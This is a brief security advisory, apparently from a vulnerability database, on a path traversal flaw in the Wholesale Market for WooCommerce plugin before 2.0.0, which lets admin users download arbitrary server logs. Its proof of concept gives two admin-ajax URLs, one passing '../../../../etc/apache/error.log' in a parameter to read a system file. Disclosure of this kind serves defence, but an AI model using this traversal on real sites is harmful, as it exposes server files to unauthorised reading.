Wholesale Market for WooCommerce < 2.0.0 - Admin+ Arbitrary Log Download

The plugin does not validate user input against path traversal attacks, allowing high privilege users such as admin to download arbitrary logs from the server even when they should not be able to (for example in multisite)

PoC

First call https://example.com/wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_read_csv which will create the log directory Then call http://example.com/wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_download_error_log&amp;tab;=ced_cwsm_plugin&amp;section;=ced_cwsm_csv_import_export_module&amp;nonce;=&amp;ced;_cwsm_log_download=../../../../etc/apache/error.log to download the /etc/apache/error.log